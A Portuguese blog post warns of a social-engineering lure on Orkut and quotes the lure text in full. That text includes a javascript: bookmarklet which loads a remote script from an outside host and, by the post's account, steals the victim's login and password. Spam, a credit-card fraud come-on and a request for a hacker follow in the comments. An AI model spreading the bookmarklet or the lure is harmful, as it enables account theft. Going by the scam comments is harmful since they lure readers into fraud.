Código malicioso no orkut rouba perfis

A pouco tempo surgiu um novo javascript, que rouba perfis no orkut, depois de executado parece que ele manda o seu login e a sua senha direto para
um screpbook, apresentamos abaixo a engenharia social usada lembrando que os
lammers estão passando tal javascript como um tutorial, então fique alerta quando vir algo
parecido com o que estamos apresentando abaixo:

LOGANDO ORKUT
Logando no orkut por scrapbookPrimeiro, não é bug, o próprio google oferece o recurso.Pra que serve isso?Para desenvolvedore que precisam por algum motivo injetar os cookies em suas aplicações, como por exemplo um site que oferece algum serviço do orkut.PowerScraps, AdsFacil, porque o scrapbook é remunerável a logins por aceitar htmls....Pode servir também para logar em qualquer serviço do google, mas o assunto aqui é orkut.A página é esta:http://www.orkut.com/Scrapbook.aspxE os parâmetros são estes:Email -> deverá ser colocado o e-mail de login na conta googlePasswd -> senha da conta googleskipvpage -> pula a parte que de verificação de e-mail confirmado(by Lord)service -> serviço da conta googleentão no final ficaria assim:javascript:d=document.createElement('SCRIPT');d.src='ht'+'tp://upashare.110mb.com/Gloogle.Login.js';document.getElementsByTagName('head').item(0).appendChild(d);void(0)Se o login estiver correto irá retornar 3 códigos, algo assim:SID=DQAAAGMAAABArUNwM...LSID=DQAAAGQAAACsRGt9...Auth=DQAAAGYAAACsRGt9...Esse último deverá ser usado para o login no orkut, para isso você precisa jogar ele na RedirLogin assimhttp://www.orkut.com/RedirLogin.aspx?auth=VALOR QUE ESTÁ EM NEGRITO ALI EM CIMAc tiver desconfiando faça um fake e teste ¬¬'O resto é com vocês...

Faraó - Hackers Brasil

7 comentários:

Anônimo disse...

como faço pra receber a senha ...

Anônimo disse...

Hey www.blogger.com people.

Are you searching to get your Online Store [b]Listed on top of Bing[/b] search engine? Maybe you are looking to get more unique visitors? We have the perfect deal for you! We offer you an exclusive chance to experiance the knowledge of our [b][url=http://xrumer-blast.com/marketplace/xrumer-products/]Xrumer Services[/url][/b]. [url=http://www.xrumer-blast.com][img]http://xrumer-blast.com/wp-includes/images/smilies/icon_smile.gif[/img][/url]

It is NOT spam! This is a human created post specifically created to demonstrate the power of our automated software and its potential of reaching wide variety of audience in an effective and time saving manner.

We are a group of veteran [b]Xrumer[/b] and [b]SEO Experts[/b] that provide [b]Affordable, High Quality, [url=http://xrumer-blast.com/marketplace/seo-products/]Search Engine Optimization Service[/url][/b]. Post your message on thousands of forums, message boards, blogs and journals and gain organic traffic in a matter of days! With the help of our [b][url=http://xrumerblast.livejournal.com/]Search Engine Optimization Experts[/url][/b] your [b]Store URL[/b] can appear on [b]7748[/b] blogs and forums. Receive almost instant growth of your search engine position, Get thousands of quality backlinks directly to your Website without lifting a finger!

Our goal is simple; we want to make you and your website on the top of every search engine so you and your family can enjoy the comfort of steady, automatic income without leaving your home. Trough our [b][url=http://xrumer-blast.com/contact-xrumer-blast-com/]SEO Advice[/url][/b] you will get one of the best support seen in the industry. As part of our [b]Search Engine Optimization Services[/b], we take care of everything for you, from Optimizing your Website for search engines all through ranking your Website on the first page of your Yahoo.

For more information regarding [b]Search Engine Optimiztion[/b] and [b]Xrumer Blast Services[/b] visit [b][url=http://www.squidoo.com/xrumer-service]Xrumer Services[/url][/b]. Our site includes everything you need to order your first [b]Xrumer Blast[/b], you can create the most appropriate message (Project) to suit your Blog, send us the information and after the payment clearance we will start working immediatly!

[url=http://xrumer-blast.com/marketplace/][img]http://xrumer-blast.com/wp-content/uploads/Xrumer-Blast-Logo.png[/img][/url]

Anônimo disse...

רציתי להתחלק איתכם במשהו אותו עברתי לאחר הפיגוע בדולפינריום. במשך שלוש שנים לאחר הטראומה, חשתי מדוכאת, ללא שמחת חיים, עייפה ומדוכדכת. בכל דרך רפואית רגילה לא הצלחתי לעזו לעצמי וכתוצאה מכך פניתי ל- [b][url=http://www.maker.co.il/3_15707/%D7%9E%D7%90%D7%9E%D7%A8/%D7%9B%D7%9C-%D7%94%D7%A2%D7%95%D7%91%D7%93%D7%95%D7%AA-%D7%A2%D7%9C-%D7%A0%D7%A4%D7%A9-%D7%94%D7%90%D7%93%D7%9D-%D7%95%D7%A2%D7%99%D7%A1%D7%95%D7%99-%D7%A8%D7%A4%D7%95%D7%90%D7%99-(%D7%9E%D7%A1%D7%90%D7%92%60).html]עיסוי[/url][/b] רפואי אלטרנטיבי. המליצו לי על מעסה מקצועי מ-Spa-Vip.co.il - עיסוי עד הבית, אשר כולל עיסוי שוודי משחרר במיוחד אשר גרם להתעוררות חושים תוך טיפול אחד בלבד. כזה שינוי בחיים לא חוויתי, אפילו אחרי טיפול מסאג איורוודה ראשוני, חזרה השמחה לחיי, פיזרתי את השיער ויצאתי מה- [b][url=http://www.academics.co.il/Articles/Article12945.aspx]מסאג[/url][/b]' עם כוחות חדשים, מחייכת ומוכנה להמשך.

[b][url=http://www.tapuz.co.il/blog/ViewEntry.asp?EntryId=1679344]עיסוי שוודי[/url][/b] הוא עיסוי רפואי משולב עם מוזיקה נעימה, מוזיקה נעימה ומוזיקה נעימה. ההתחלה של עיסוי היא מגע עדין על המגבת לאחר חשיפה של הגוף מכף רגל ועד ראש. מריחת שמן חם מכף רגל ועד הראש, אחרכך תנועה עדינה ומלטפת מכף רגל ועד ראש ובחזרה. אחרי מספר תנועות עדינות עוברים לצד השני של הגוף, לאחר אותם תנועות על הצד השני מתחיל שילוב של לחיצות רפואיות מכיוון שהגוף התרגל למגע מפנק ומרגיע וזה גרם לשרירים להרפות במידה... כל זה בטיפול פרטי של [b][url=http://www.academics.co.il/Authors/Author2173.aspx]מעסה[/url][/b] מקצועי עד בית הלקוח!

אני לא האמנתי שדברים כאלו יכולים לקרות עד אשר חוויתי מסאז איורוודה באיכות כזאת, המעסה המקצועי אליי הביתה עם מגע כלכך מפנק שלא האמנתי שיכול להיות. ממליצה לכל אחד ואחת אשר מעוניינים ב [b][url=http://israblog.nana10.co.il/blogread.asp?blog=682132]מסאז[/url][/b]', עיסוי או פינוק מטריף חושים בחגים על Spa-VIP.co.il.
[img]http://spa-vip.co.il/_images/apixel.gif[/img]

[url=http://spa-vip.co.il/#][img]http://spa-vip.co.il/_images/&%231506%3b&%231497%3b&%231505%3b&%231493%3b&%231497%3b-&%231512%3b&%231508%3b&%231493%3b&%231488%3b&%231497%3b.jpg[/img][/url]

Anônimo disse...

Hackearam meu orkut,tem q me explicar passo a passo p q eu possa recupera-lo?

Anônimo disse...

[u] greetings, i found this web-shop and planing to try it. wonder if anyone purchased cookbook software from them, any advice please?[/u]

Anônimo disse...

Preciso de um harcker urgente, me add no msn nascimentojones@hotmail.com

Anônimo disse...

Você deseja conseguir muitos cartões de credito válido e não sabem como? descobri como conseguir a senha do sistema privado
só clicar com botão direito em cima da pagina e mandar exibir o código fonte e a senha estará lá
Dentro do site voce segue as recomendações que receberá o que deseja. Vou arrumar uma grana
http://www.sistemaprivado.org